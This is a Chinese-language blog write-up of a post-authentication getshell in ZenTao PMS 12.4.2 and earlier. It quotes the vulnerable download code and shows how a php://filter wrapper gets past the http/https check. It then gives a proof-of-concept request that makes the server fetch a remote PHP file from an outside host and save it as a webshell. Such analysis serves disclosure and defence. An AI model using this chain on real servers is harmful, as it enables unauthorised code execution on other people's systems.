MENU

禅道<=12.4.2 后台getshell

October 23, 2020 • PHP

禅道<=12.4.2 后台getshell

分析

zentaopms\module\client\control.php函数download

   public function download($version = '', $link = '', $os = '')
    {
        set_time_limit(0);
        
        $result = $this->client->downloadZipPackage($version, $link);
        if($result == false) $this->send(array('result' => 'fail', 'message' => $this->lang->client->downloadFail));
        $client = $this->client->edit($version, $result, $os);
        if($client == false) $this->send(array('result' => 'fail', 'message' => $this->lang->client->saveClientError));
        $this->send(array('result' => 'success', 'client' => $client, 'message' => $this->lang->saveSuccess, 'locate' => inlink('browse')));
    }

接受三个参数,禅道的参数可以通过url路由直接传入进来,
跟进downloadZipPackage
首先会进入zentaopms\module\client\ext\model\xuanxuan.php中的downloadZipPackage$link进行base64解码后进行正则匹配

public function downloadZipPackage($version, $link)
{
    $decodeLink = helper::safe64Decode($link);
    if(preg_match('/^https?\:\/\//', $decodeLink)){ echo "fail"; return false;}
    echo "regsuccess";
    return parent::downloadZipPackage($version, $link);
}

匹配规则/^https?\:\/\//,禁止了传入link以http或者https开头,那么可以采用其他协议来进行绕过比如ftp或者php伪协议

匹配通过最后进入到zentaopms\module\client\model.php中的downloadZipPackage

public function downloadZipPackage($version, $link)
    {
        ignore_user_abort(true);
        set_time_limit(0);
        if(empty($version) || empty($link)) return false;
        $dir  = "data/client/" . $version . '/';
        $link = helper::safe64Decode($link);
        $file = basename($link);
        if(!is_dir($this->app->wwwRoot . $dir))
        {
            mkdir($this->app->wwwRoot . $dir, 0755, true);
        }
        if(!is_dir($this->app->wwwRoot . $dir)) return false;
        if(file_exists($this->app->wwwRoot . $dir . $file))
        {
            return commonModel::getSysURL() . $this->config->webRoot . $dir . $file;
        }
        ob_clean();
        ob_end_flush();

        $local  = fopen($this->app->wwwRoot . $dir . $file, 'w');
        $remote = fopen($link, 'rb');
        if($remote === false) return false;
        while(!feof($remote))
        {
            $buffer = fread($remote, 4096);
            fwrite($local, $buffer);
        }
        fclose($local);
        fclose($remote);
        return commonModel::getSysURL() . $this->config->webRoot . $dir . $file;
    }

流程就是来读取远程文件并写入到/www/data/$version/目录下保存文件名为原文件名,并未对后缀名进行限制,在禅道最新版中修复代码即是验证了文件名是否在白名单内
-w787

利用

$link = base64_encode("php://filter/read=string.toupper/resource=http://xxx/697ec6bd042242db968c8f27f398d7e5.php");

poc:

/index.php?m=client&f=download&version=1&link=base64code&os=win

-w1306
http://www/data/client/1/697ec6bd042242db968c8f27f398d7e5.php
-w1297

-w1614